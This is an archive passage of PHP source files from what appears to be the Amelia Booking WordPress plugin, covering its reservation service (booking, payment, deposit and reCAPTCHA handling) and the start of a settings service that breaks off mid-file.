Services/Reservation/AbstractReservationService.php 0000666 00000124161 15165412624 0016666 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Reservation; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\CustomField\CustomFieldApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\BookingsLimitReachedException; use AmeliaBooking\Domain\Common\Exceptions\BookingUnavailableException; use AmeliaBooking\Domain\Common\Exceptions\CouponExpiredException; use AmeliaBooking\Domain\Common\Exceptions\CouponInvalidException; use AmeliaBooking\Domain\Common\Exceptions\CouponUnknownException; use AmeliaBooking\Domain\Common\Exceptions\CustomerBookedException; use AmeliaBooking\Domain\Common\Exceptions\EventBookingUnavailableException; use AmeliaBooking\Domain\Common\Exceptions\ForbiddenFileUploadException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Common\Exceptions\PackageBookingUnavailableException; use AmeliaBooking\Domain\Entity\Bookable\AbstractBookable; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Package; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomer; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomerService; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBookingExtra; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Booking\Reservation; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\BookingType; use AmeliaBooking\Domain\ValueObjects\String\DepositType; use AmeliaBooking\Domain\ValueObjects\String\Label; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\CustomerRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\Services\Recaptcha\RecaptchaService; use AmeliaBooking\Infrastructure\WP\EventListeners\Booking\Appointment\BookingAddedEventHandler; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use DateTime; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AbstractReservationService * * @package AmeliaBooking\Application\Services\Reservation */ abstract class AbstractReservationService implements ReservationServiceInterface { protected $container; /** * AbstractReservationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param Reservation $reservation * * @return void * @throws QueryExecutionException * @throws InvalidArgumentException */ protected function deleteReservation($reservation) { if ($reservation->getReservation()) { switch ($reservation->getReservation()->getType()->getValue()) { case (Entities::APPOINTMENT): if ($reservation->getReservation()->getBookings()->length() === 1) { /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); $appointmentApplicationService->delete($reservation->getReservation()); } else { /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); $bookingApplicationService->delete($reservation->getBooking()); } break; case (Entities::EVENT): /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); $eventApplicationService->deleteEventBooking($reservation->getBooking()); break; } } } /** * @param int|null $newUserId * @throws QueryExecutionException */ protected function deleteUserIfNew($newUserId) { if ($newUserId !== null) { /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); $customerRepository->delete($newUserId); } } /** * @param array $data * @param Reservation $reservation * @param bool $save * * @return CommandResult * * @throws ForbiddenFileUploadException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function processRequest($data, $reservation, $save) { $result = new CommandResult(); $type = $data['type'] ?: Entities::APPOINTMENT; /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); if (!empty($data['payment']['gateway']) && $data['payment']['gateway'] === 'onSite' && $currentUser && $currentUser->getType() === Entities::CUSTOMER ) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $googleRecaptchaSettings = $settingsService->getSetting( 'general', 'googleRecaptcha' ); if ($googleRecaptchaSettings['enabled']) { /** @var RecaptchaService $recaptchaService */ $recaptchaService = $this->container->get('infrastructure.recaptcha.service'); if ($recaptchaService && !array_key_exists('recaptcha', $data) || !$recaptchaService->verify($data['recaptcha']) ) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData(['recaptchaError' => true]); return $result; } } } /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $customerBookingRepository->beginTransaction(); $this->processBooking($result, $data, $reservation, $save); if ($result->getResult() === CommandResult::RESULT_ERROR) { $customerBookingRepository->rollback(); return $result; } /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); $paymentTransactionId = null; $paymentCompleted = empty($data['bookings'][0]['packageCustomerService']['id']) ? $paymentAS->processPayment($result, $data['payment'], $reservation, new BookingType($type), $paymentTransactionId) : true; if (!$paymentCompleted || $result->getResult() === CommandResult::RESULT_ERROR) { $customerBookingRepository->rollback(); if ($save) { $this->deleteReservation($reservation); if ($reservation->getRecurring()) { foreach ($reservation->getRecurring()->getItems() as $recurringReservation) { $this->deleteReservation($recurringReservation); } } if ($reservation->getPackageReservations()) { foreach ($reservation->getPackageReservations()->getItems() as $packageReservation) { $this->deleteReservation($packageReservation); } } if ($reservation->getPackageCustomerServices()) { /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); $packageApplicationService->deletePackageCustomer($reservation->getPackageCustomerServices()); } } if ($reservation->isNewUser()->getValue() && $reservation->getCustomer()) { $this->deleteUserIfNew($reservation->getCustomer()->getId()->getValue()); } return $result; } $this->finalize($result, $reservation, new BookingType($type)); $paymentAS->setPaymentTransactionId($result->getData()['payment']['id'], $paymentTransactionId); $customerBookingRepository->commit(); return $result; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param CommandResult $result * @param array $appointmentData * @param Reservation $reservation * @param bool $save * * @return void * * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception * @throws ContainerException */ public function processBooking($result, $appointmentData, $reservation, $save) { $appointmentData['bookings'][0]['info'] = json_encode( [ 'firstName' => $appointmentData['bookings'][0]['customer']['firstName'], 'lastName' => $appointmentData['bookings'][0]['customer']['lastName'], 'phone' => $appointmentData['bookings'][0]['customer']['phone'], 'locale' => $appointmentData['locale'], 'timeZone' => $appointmentData['timeZone'], 'urlParams' => !empty($appointmentData['urlParams']) ? $appointmentData['urlParams'] : null, ] ); // add customer language from booking info $appointmentData['bookings'][0]['customer'] = array_merge( $appointmentData['bookings'][0]['customer'], ['translations' => json_encode(array('defaultLanguage' => $appointmentData['locale']))] ); $newUserId = null; // Create a new user if it doesn't exist. For adding appointment from the front-end. if (!$appointmentData['bookings'][0]['customerId'] && !$appointmentData['bookings'][0]['customer']['id']) { /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); $user = $customerAS->getNewOrExistingCustomer($appointmentData['bookings'][0]['customer'], $result); if ($result->getResult() === CommandResult::RESULT_ERROR) { return null; } if ($save && !$user->getId()) { if (!($newUserId = $userRepository->add($user))) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData(['emailError' => true]); return null; } $user->setId(new Id($newUserId)); } if ($user->getId()) { $appointmentData['bookings'][0]['customerId'] = $user->getId()->getValue(); $appointmentData['bookings'][0]['customer']['id'] = $user->getId()->getValue(); } } if ($reservation->hasCustomFieldsValidation()->getValue()) { /** @var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); $appointmentData['uploadedCustomFieldFilesInfo'] = []; if ($appointmentData['bookings'][0]['customFields']) { $appointmentData['uploadedCustomFieldFilesInfo'] = $customFieldService->processCustomFields( $appointmentData['bookings'][0]['customFields'] ); } } if ($appointmentData['bookings'][0]['customFields'] && is_array($appointmentData['bookings'][0]['customFields']) ) { $appointmentData['bookings'][0]['customFields'] = json_encode( $appointmentData['bookings'][0]['customFields'] ); } try { $this->book($appointmentData, $reservation, $save); } catch (CustomerBookedException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['customerAlreadyBooked' => true]); } catch (BookingUnavailableException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['timeSlotUnavailable' => true]); } catch (PackageBookingUnavailableException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['packageBookingUnavailable' => true]); } catch (BookingsLimitReachedException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['bookingsLimitReached' => true]); } catch (EventBookingUnavailableException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['eventBookingUnavailable' => true]); } catch (CouponUnknownException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['couponUnknown' => true]); } catch (CouponInvalidException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['couponInvalid' => true]); } catch (CouponExpiredException $e) { return $this->manageException($result, $newUserId, $e->getMessage(), ['couponExpired' => true]); } $reservation->setIsNewUser(new BooleanValueObject($newUserId !== null)); $reservation->setLocale(new Label($appointmentData['locale'])); $reservation->setTimezone(new Label($appointmentData['timeZone'])); if (array_key_exists('uploadedCustomFieldFilesInfo', $appointmentData)) { $reservation->setUploadedCustomFieldFilesInfo($appointmentData['uploadedCustomFieldFilesInfo']); } } /** * @param CommandResult $result * @param int|null $newUserId * @param string $message * @param array $data * * @return null * * @throws QueryExecutionException */ private function manageException($result, $newUserId, $message, $data) { $this->deleteUserIfNew($newUserId); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($message); $result->setData($data); return null; } /** * @param CommandResult $result * @param Reservation $reservation * @param BookingType $bookingType * * @throws ContainerValueNotFoundException * @throws ContainerException * @throws ForbiddenFileUploadException * @throws InvalidArgumentException */ public function finalize($result, $reservation, $bookingType) { /** @var CustomerApplicationService $customerApplicationService */ $customerApplicationService = $this->container->get('application.user.customer.service'); /** @var AbstractUser $loggedInUser */ $loggedInUser = $this->container->get('logged.in.user'); $isAdmin = $loggedInUser && $loggedInUser->getType() === AbstractUser::USER_ROLE_ADMIN; if (!$isAdmin) { $customerApplicationService->setWPUserForCustomer( $reservation->getCustomer(), $reservation->isNewUser()->getValue() ); } /** @var Payment $payment */ $payment = null; /** @var PackageCustomer $packageCustomer */ $packageCustomer = null; switch ($bookingType->getValue()) { case (Entities::APPOINTMENT): case (Entities::EVENT): $payment = $reservation->getBooking()->getPayments()->length() ? $reservation->getBooking()->getPayments()->getItem(0) : null; break; case (Entities::PACKAGE): /** @var PackageCustomerService $packageCustomerService */ foreach ($reservation->getPackageCustomerServices()->getItems() as $packageCustomerService) { $packageCustomer = $packageCustomerService->getPackageCustomer(); $payment = $packageCustomerService->getPackageCustomer()->getPayments()->getItem($packageCustomerService->getPackageCustomer()->getPayments()->keys()[0]); break; } break; } if (!$reservation->getBooking() && $reservation->getPackageReservations()->length() === 0) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added booking'); $result->setData( [ 'type' => $bookingType->getValue(), 'customer' => array_merge( $reservation->getCustomer()->toArray(), [ 'locale' => $reservation->getLocale()->getValue(), 'timeZone' => $reservation->getTimeZone()->getValue() ] ), $bookingType->getValue() => null, Entities::BOOKING => null, 'utcTime' => [], 'appointmentStatusChanged' => false, 'packageId' => $reservation->getBookable()->getId()->getValue(), 'package' => [], 'recurring' => [], 'bookable' => $reservation->getBookable()->toArray(), 'paymentId' => $payment->getId()->getValue(), 'packageCustomerId' => $payment->getPackageCustomerId()->getValue(), 'payment' => $payment->toArray(), ] ); return; } /** @var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); if ($reservation->getBooking()) { $customFieldService->saveUploadedFiles( $reservation->getBooking()->getId()->getValue(), $reservation->getUploadedCustomFieldFilesInfo(), '', $reservation->getRecurring() && $reservation->getRecurring()->length() ); } $recurringReservations = []; if ($bookingType->getValue() === Entities::APPOINTMENT) { /** @var Reservation $recurringReservation */ foreach ($reservation->getRecurring()->getItems() as $key => $recurringReservation) { $customFieldService->saveUploadedFiles( $recurringReservation->getBooking()->getId()->getValue(), $reservation->getUploadedCustomFieldFilesInfo(), '', $key !== $reservation->getRecurring()->length() - 1 ); $recurringReservations[] = $this->getResultData($recurringReservation, $bookingType); } } $packageReservations = []; if ($bookingType->getValue() === Entities::PACKAGE) { /** @var Reservation $packageReservation */ foreach ($reservation->getPackageReservations()->getItems() as $key => $packageReservation) { $customFieldService->saveUploadedFiles( $packageReservation->getBooking()->getId()->getValue(), $reservation->getUploadedCustomFieldFilesInfo(), '', $key !== $reservation->getPackageReservations()->length() - 1 ); $packageReservations[] = $this->getResultData( $packageReservation, new BookingType(Entities::APPOINTMENT) ); } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added booking'); $result->setData( array_merge( $this->getResultData($reservation, $bookingType), [ 'recurring' => $recurringReservations, 'package' => $packageReservations, 'packageId' => $packageReservations ? $reservation->getBookable()->getId()->getValue() : null, 'customer' => array_merge( $reservation->getCustomer()->toArray(), [ 'locale' => $reservation->getLocale()->getValue(), 'timeZone' => $reservation->getTimeZone()->getValue() ] ), 'bookable' => $reservation->getBookable()->toArray(), 'paymentId' => $payment ? $payment->getId()->getValue() : null, 'packageCustomerId' => $payment && $payment->getPackageCustomerId() ? $payment->getPackageCustomerId()->getValue() : null, 'payment' => $payment ? $payment->toArray() : null, ] ) ); } /** * @param Reservation $reservation * @param BookingType $bookingType * * @return array */ public function getResultData($reservation, $bookingType) { return [ 'type' => $bookingType->getValue(), $bookingType->getValue() => array_merge( $reservation->getReservation()->toArray(), [ 'bookings' => $reservation->getBooking() ? [ $reservation->getBooking()->toArray() ] : [] ] ), Entities::BOOKING => $reservation->getBooking() ? $reservation->getBooking()->toArray() : null, 'utcTime' => $reservation->getBooking() ? $this->getBookingPeriods( $reservation->getReservation(), $reservation->getBooking(), $reservation->getBookable() ) : [], 'appointmentStatusChanged' => $reservation->isStatusChanged() ? $reservation->isStatusChanged()->getValue() : false, ]; } /** * @param CustomerBooking $booking * @param Service|Event|Package $bookable * * @return float * * @throws InvalidArgumentException */ public function getPaymentAmount($booking, $bookable) { $price = (float)$bookable->getPrice()->getValue() * ($this->isAggregatedPrice($bookable) ? $booking->getPersons()->getValue() : 1); if ($booking->getTicketsBooking() && $booking->getTicketsBooking()->length() && $bookable->getCustomPricing() && $bookable->getCustomPricing()->getValue() ) { /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); $bookable->setCustomTickets( $eventApplicationService->getTicketsPriceByDateRange($bookable->getCustomTickets()) ); $ticketSumPrice = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookingToEventTicket) { /** @var EventTicket $ticket */ $ticket = $bookable->getCustomTickets()->getItem($bookingToEventTicket->getEventTicketId()->getValue()); $ticketPrice = $ticket->getDateRangePrice() ? $ticket->getDateRangePrice()->getValue() : $ticket->getPrice()->getValue(); $ticketSumPrice += $bookingToEventTicket->getPersons() ? ($booking->getAggregatedPrice()->getValue() ? $bookingToEventTicket->getPersons()->getValue() : 1) * $ticketPrice : 0; } $price = $ticketSumPrice; } /** @var CustomerBookingExtra $customerBookingExtra */ foreach ($booking->getExtras()->getItems() as $customerBookingExtra) { /** @var Extra $extra */ $extra = $bookable->getExtras()->getItem($customerBookingExtra->getExtraId()->getValue()); $isExtraAggregatedPrice = $extra->getAggregatedPrice() === null ? $this->isAggregatedPrice($bookable) : $extra->getAggregatedPrice()->getValue(); $price += (float)$extra->getPrice()->getValue() * ($isExtraAggregatedPrice ? $booking->getPersons()->getValue() : 1) * $customerBookingExtra->getQuantity()->getValue(); } if ($booking->getCoupon()) { $subtraction = $price / 100 * ($booking->getCoupon()->getDiscount()->getValue() ?: 0) + ($booking->getCoupon()->getDeduction()->getValue() ?: 0); return round($price - $subtraction, 2); } return apply_filters('amelia_modify_payment_amount', $price, $booking); } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param int $bookingId * @param int $packageCustomerId * @param array $paymentData * @param float $amount * @param DateTime $dateTime * @param string $entityType * * @return Payment * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function addPayment($bookingId, $packageCustomerId, $paymentData, $amount, $dateTime, $entityType) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $paymentStatus = PaymentStatus::PENDING; switch ($paymentData['gateway']) { case (PaymentType::WC): $paymentStatus = $paymentData['status']; break; case (PaymentType::MOLLIE): case (PaymentType::PAY_PAL): case (PaymentType::STRIPE): case (PaymentType::RAZORPAY): $paymentStatus = PaymentStatus::PAID; break; } $paymentAmount = $paymentData['gateway'] === PaymentType::ON_SITE ? 0 : $amount; if (!$amount && $paymentData['gateway'] !== PaymentType::ON_SITE && $paymentData['gateway'] !== PaymentType::WC ) { $paymentData['gateway'] = PaymentType::ON_SITE; } if (!empty($paymentData['orderStatus'])) { $paymentStatus = $this->getWcStatus( $entityType, $paymentData['orderStatus'], 'payment', false ) ?: $paymentStatus; } if (!empty($paymentData['deposit'])) { $paymentStatus = PaymentStatus::PARTIALLY_PAID; } if ($paymentData['gateway'] === PaymentType::MOLLIE) { $paymentStatus = PaymentStatus::PENDING; } $paymentEntryData = apply_filters( 'amelia_before_payment', [ 'customerBookingId' => $bookingId, 'packageCustomerId' => $packageCustomerId, 'amount' => $paymentAmount, 'status' => $amount > 0 ? $paymentStatus : PaymentStatus::PAID, 'gateway' => $paymentData['gateway'], 'dateTime' => ($paymentData['gateway'] === PaymentType::ON_SITE) ? $dateTime->format('Y-m-d H:i:s') : DateTimeService::getNowDateTimeObject()->format('Y-m-d H:i:s'), 'gatewayTitle' => isset($paymentData['gatewayTitle']) ? $paymentData['gatewayTitle'] : '', 'parentId' => !empty($paymentData['parentId']) ? $paymentData['parentId'] : null, 'wcOrderId' => !empty($paymentData['wcOrderId']) && $paymentData['gateway'] === 'wc' ? $paymentData['wcOrderId'] : null, ], $amount ); if (!empty($paymentData['isBackendBooking'])) { $paymentEntryData['actionsCompleted'] = 1; } /** @var Payment $payment */ $payment = PaymentFactory::create($paymentEntryData); $payment->setEntity(new Name($entityType)); if (!($payment instanceof Payment)) { throw new InvalidArgumentException('Unknown type'); } $paymentId = $paymentRepository->add($payment); $payment->setId(new Id($paymentId)); return $payment; } /** * @param DateTime $bookingStart * @param int $minimumCancelTime * * @return boolean * * @throws ContainerValueNotFoundException * @throws BookingCancellationException */ public function inspectMinimumCancellationTime($bookingStart, $minimumCancelTime) { if (DateTimeService::getNowDateTimeObject() >= DateTimeService::getCustomDateTimeObject( $bookingStart->format('Y-m-d H:i:s') )->modify("-{$minimumCancelTime} second") ) { throw new BookingCancellationException( FrontendStrings::getCabinetStrings()['booking_cancel_exception'] ); } return true; } /** * @param float $paymentAmount * @param AbstractBookable $bookable * @param int $persons * * @return float */ public function calculateDepositAmount($paymentAmount, $bookable, $persons) { if ($bookable->getDepositPayment()->getValue() !== DepositType::DISABLED) { switch ($bookable->getDepositPayment()->getValue()) { case DepositType::FIXED: if ($bookable->getDepositPerPerson() && $bookable->getDepositPerPerson()->getValue()) { if ($paymentAmount > $persons * $bookable->getDeposit()->getValue()) { return $persons * $bookable->getDeposit()->getValue(); } } else { if ($paymentAmount > $bookable->getDeposit()->getValue()) { return $bookable->getDeposit()->getValue(); } } break; case DepositType::PERCENTAGE: $depositAmount = round($paymentAmount / 100 * $bookable->getDeposit()->getValue(), 2); if ($paymentAmount > $depositAmount) { return $depositAmount; } break; } } return $paymentAmount; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param int $bookingId * @param string $type * @param array $recurring * @param bool $appointmentStatusChanged * @param int $packageId * @param array $customerData * @param int $paymentId * @param int $packageCustomerId * * @return CommandResult * * @throws InvalidArgumentException * @throws ContainerException * @throws QueryExecutionException */ public function getSuccessBookingResponse( $bookingId, $type, $recurring, $appointmentStatusChanged, $packageId, $customerData, $paymentId, $packageCustomerId ) { $result = new CommandResult(); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); if ($packageId && (int)$bookingId === 0) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully get booking'); $result->setData( [ 'type' => Entities::APPOINTMENT, Entities::APPOINTMENT => null, Entities::BOOKING => null, 'appointmentStatusChanged' => false, 'packageId' => $packageId, 'customer' => $customerData, 'recurring' => [], 'paymentId' => $paymentId, 'packageCustomerId' => $packageCustomerId, ] ); $result->setDataInResponse(false); return $result; } /** @var Appointment|Event $reservation */ $reservation = $reservationService->getReservationByBookingId((int)$bookingId); /** @var CustomerBooking $booking */ $booking = $reservation->getBookings()->getItem( (int)$bookingId ); $booking->setChangedStatus(new BooleanValueObject(true)); $recurringReservations = []; $recurring = isset($recurring) ? $recurring : []; foreach ($recurring as $recurringData) { /** @var Appointment $recurringReservation */ $recurringReservation = $reservationService->getReservationByBookingId((int)$recurringData['id']); /** @var CustomerBooking $recurringBooking */ $recurringBooking = $recurringReservation->getBookings()->getItem( (int)$recurringData['id'] ); $recurringBooking->setChangedStatus(new BooleanValueObject(true)); $recurringReservations[] = [ 'type' => $recurringReservation->getType()->getValue(), $recurringReservation->getType()->getValue() => $recurringReservation->toArray(), Entities::BOOKING => $recurringBooking->toArray(), 'appointmentStatusChanged' => $recurringData['appointmentStatusChanged'], ]; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully get booking'); $result->setData( array_merge( [ 'type' => $reservation->getType()->getValue(), $reservation->getType()->getValue() => $reservation->toArray(), Entities::BOOKING => $booking->toArray(), 'appointmentStatusChanged' => $appointmentStatusChanged, 'paymentId' => $paymentId, 'packageCustomerId' => $packageCustomerId, ], [ 'customer' => $customerData, 'packageId' => $packageId, 'recurring' => $recurringReservations ] ) ); $result->setDataInResponse(false); return $result; } /** * @param CommandResult $result * * @return void * @throws ContainerException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws NotFoundException */ public function runPostBookingActions($result) { if ($result->getResult() === CommandResult::RESULT_SUCCESS) { $recurring = []; $bookingId = 0; $appointmentStatusChanged = false; switch ($result->getData()['type']) { case (Entities::APPOINTMENT): $bookingId = $result->getData()[Entities::BOOKING]['id']; $appointmentStatusChanged = $result->getData()['appointmentStatusChanged']; foreach ($result->getData()['recurring'] as $recurringData) { $recurring[] = [ 'id' => $recurringData[Entities::BOOKING]['id'], 'type' => $recurringData['type'], 'appointmentStatusChanged' => $recurringData['appointmentStatusChanged'], ]; } break; case (Entities::EVENT): $bookingId = $result->getData()[Entities::BOOKING]['id']; $appointmentStatusChanged = $result->getData()['appointmentStatusChanged']; break; case (Entities::PACKAGE): $packageReservations = $result->getData()['package']; foreach ($packageReservations as $index => $packageData) { if ($index > 0) { $recurring[] = [ 'id' => $packageData[Entities::BOOKING]['id'], 'type' => $packageData['type'], 'appointmentStatusChanged' => $packageData['appointmentStatusChanged'], ]; } else { $bookingId = $packageData[Entities::BOOKING]['id']; $appointmentStatusChanged = $packageData['appointmentStatusChanged']; } } break; } /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($result->getData()['type']); /** @var CommandResult $resultData */ $resultData = $reservationService->getSuccessBookingResponse( $bookingId, $result->getData()['type'], $recurring, $appointmentStatusChanged, $result->getData()['packageId'], $result->getData()['customer'], !empty($result->getData()['paymentId']) ? $result->getData()['paymentId'] : null, !empty($result->getData()['packageCustomerId']) ? $result->getData()['packageCustomerId'] : null ); do_action('AmeliaBookingAddedBeforeNotify', $resultData->getData(), $this->container); BookingAddedEventHandler::handle( $resultData, $this->container ); } } /** * @param bool $couponValidation * @param bool $customFieldsValidation * @param bool $availabilityValidation * * @return Reservation */ public function getNew($couponValidation, $customFieldsValidation, $availabilityValidation) { /** @var Reservation $entity */ $entity = new Reservation(); $entity->setCouponValidation(new BooleanValueObject($couponValidation)); $entity->setCustomFieldsValidation(new BooleanValueObject($customFieldsValidation)); $entity->setAvailabilityValidation(new BooleanValueObject($availabilityValidation)); return $entity; } /** * @param string $type * @param string $orderStatus * @param string $statusTarget * @param bool $isUpdate * * @return mixed */ public function getWcStatus($type, $orderStatus, $statusTarget, $isUpdate) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $wcSettings = $settingsService->getSetting('payments', 'wc'); if (!empty($wcSettings['rules'][$type])) { foreach ($wcSettings['rules'][$type] as $rule) { if ($rule['order'] === $orderStatus && ($isUpdate ? $rule['update'] : true)) { return $rule[$statusTarget] !== 'default' ? $rule[$statusTarget] : null; } } } return false; } /** * @param CustomerBooking $booking * * @return void * @throws QueryExecutionException */ public function setToken($booking) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $token = $bookingRepository->getToken($booking->getId()->getValue()); if (!empty($token['token'])) { $booking->setToken(new Token($token['token'])); } } } Services/Settings/SettingsService.php 0000666 00000010214 15165412624 0013771 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Settings; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Infrastructure\Common\Container; /** * Class SettingsService * * @package AmeliaBooking\Application\Services\Settings */ class SettingsService { /** @var Container */ private $container; /** * ProviderApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @return array * @throws \Exception * @throws \Interop\Container\Exception\ContainerException + */ public function getGlobalDaysOff() { $daysOff = []; /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $settingsDaysOff = $settingsDS->getCategorySettings('daysOff'); foreach ($settingsDaysOff as $settingsDayOff) { $dayOffPeriod = new \DatePeriod( DateTimeService::getCustomDateTimeObject($settingsDayOff['startDate']), new \DateInterval('P1D'), DateTimeService::getCustomDateTimeObject($settingsDayOff['endDate'])->modify('+1 day') ); /** @var \DateTime $dayOffDate */ foreach ($dayOffPeriod as $dayOffDate) { if ($settingsDayOff['repeat']) { $dayOffDateFormatted = $dayOffDate->format('m-d'); $daysOff[$dayOffDateFormatted] = $dayOffDateFormatted; } else { $dayOffDateFormatted = $dayOffDate->format('Y-m-d'); $daysOff[$dayOffDateFormatted] = $dayOffDateFormatted; } } } return $daysOff; } /** * @param array $daysOffNew * * @return array * @throws \Exception * @throws \Interop\Container\Exception\ContainerException + */ public function getDaysOff($daysOffNew = null) { /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $daysOff = $daysOffNew ?: $settingsDS->getCategorySettings('daysOff'); $utcDaysOff = []; foreach ($daysOff as &$dayOff) { $dayOff['startDate'] = $dayOff['startDate'] . ' 00:00:00'; $dayOff['endDate'] = $dayOff['endDate'] . ' 23:59:59'; if ($settingsDS->getSetting('general', 'showClientTimeZone')) { $utcDaysOff[] = [ 'startDate' => DateTimeService::getCustomDateTimeObjectInUtc($dayOff['startDate'])->format('Y-m-d H:i:s'), 'endDate' => DateTimeService::getCustomDateTimeObjectInUtc($dayOff['endDate'])->format('Y-m-d H:i:s'), 'repeat' => $dayOff['repeat'], 'name' => $dayOff['name'] ]; } } return !empty($utcDaysOff) ? $utcDaysOff : $daysOff; } /** * @return array * @throws \Exception * @throws \Interop\Container\Exception\ContainerException + */ public function getBccEmails() { /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $bccEmail = $settingsDS->getSetting('notifications', 'bccEmail'); return ($bccEmail !== '') ? explode(',', $bccEmail) : []; } /** * @return array * @throws \Exception * @throws \Interop\Container\Exception\ContainerException + */ public function 